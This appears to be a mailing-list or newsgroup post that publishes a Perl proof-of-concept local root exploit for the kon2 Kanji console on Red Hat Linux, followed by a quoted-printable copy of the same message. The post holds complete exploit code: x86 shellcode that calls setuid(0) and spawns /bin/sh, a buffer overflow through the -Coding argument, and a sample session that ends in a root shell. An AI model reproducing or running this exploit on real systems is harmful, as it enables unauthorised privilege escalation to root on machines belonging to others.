I look kon2 source and -Console arg is the problem,
so here go the PoC.


----cut here--------

#!/usr/bin/perl
################################################## ##########################
########
#Priv8security.com kon2 version 0.3.9b-16 and < local root exploit.
#
# Tested on Redhat 8.0. should work on 9.0 and 7.3
# Bug happens on -Coding arg.
# Based on Redhat Advisory.
#
# [wsxz@localhost buffer]$ perl priv8kon.pl
# -=[ Priv8security.com kon local root exploit ]=-
# usage: priv8kon.pl offset
# [+] Using ret shellcode 0xbfffffc6
# Kanji ON Console ver.0.3.9 (2000/04/09)
#
# KON> video type 'VGA' selected
# KON> hardware scroll mode.
# sh-2.05b# id
# uid=0(root) gid=0(root) groups=500(wsxz)
################################################## ##########################
######
##


$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\ x69".
"\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" ;

$path = "/usr/bin/kon";
$ret = 0xbffffffa - length($shellcode) - length($path);

$offset = $ARGV[0];

print "-=[ Priv8security.com kon2 local root exploit ]=-\n";
print "usage: $0 offset\n";
printf("[+] Using ret shellcode 0x%x\n",$ret + $offset);

$new_retword = pack('l', ($ret + $offset));
$buffer2 = "A" x 796;
$buffer2 .= $new_retword;
$buffer = $shellcode;
local($ENV{'WSXZ'}) = $buffer;
exec("$path -Coding $buffer2");

-----cut here-------

""wsxz"" <wsxz@terra.com.br> writed
news:bbl3nv$1g4a$1@FreeBSD.csie.NCTU.edu.tw...
> I look kon2 source and -Console arg is the problem,=0D=0Aso here go the =
> PoC.=0D=0A=0D=0A=0D=0A----cut
here--------=0D=0A=0D=0A#!/usr/bin/perl=0D=0A=
> ################################################## #######################=
> ###########=0D=0A#Priv8security.com kon2 version 0.3.9b-16 and < local ro=
> ot exploit.=0D=0A#=0D=0A# Tested on Redhat 8.0. should work on 9.0 and=
> 7.3=0D=0A# Bug happens on -Coding arg.=0D=0A# Based on Redhat Advi=
> sory.=0D=0A#=0D=0A# [wsxz@localhost buffer]$ perl priv8kon.pl=0D=0A# =
> -=3D[ Priv8security.com kon local root exploit ]=3D-=0D=0A# usage: p=
> riv8kon.pl offset=0D=0A# [+] Using ret shellcode 0xbfffffc6=0D=0A# =
> Kanji ON Console ver.0.3.9 (2000/04/09)=0D=0A#=0D=0A# KON> video type =
> 'VGA' selected=0D=0A# KON> hardware scroll mode.=0D=0A# sh-2.05b# i=
> d=0D=0A# uid=3D0(root) gid=3D0(root) groups=3D500(wsxz)=0D=0A#########=
> ################################################## #######################=
> ##=0D=0A=0D=0A=0D=0A$shellcode =3D=0D=0A"\x31\xc0\x31\xdb\xb0\x17\xcd\x80=
> ".#setuid 0=0D=0A"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0=0D=0A"\x31\=
> xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69".= 0D=0A"\x89\xe3\x52\x53\=
> x89\xe1\x8d\x42\x0b\xcd\x80";=0D=0A=0D=0A$path =3D "/usr/bin/kon";=0D=0A$=
> ret =3D 0xbffffffa - length($shellcode) - length($path);=0D=0A=0D=0A$offs=
> et =3D $ARGV[0];=0D=0A=0D=0Aprint "-=3D[ Priv8security.com kon2 local roo=
> t exploit ]=3D-\n";=0D=0Aprint "usage: $0 offset\n";=0D=0Aprintf("[+] Usi=
> ng ret shellcode 0x%x\n",$ret + $offset);=0D=0A=0D=0A$new_retword =3D pac=
> k('l', ($ret + $offset));=0D=0A$buffer2 =3D "A" x 796;=0D=0A$buffer2 .=3D=
> $new_retword;=0D=0A$buffer =3D $shellcode;=0D=0Alocal($ENV{'WSXZ'}) =3D =
> $buffer;=0D=0Aexec("$path -Coding $buffer2");=0D=0A=0D=0A-----cut here---=
> ----
>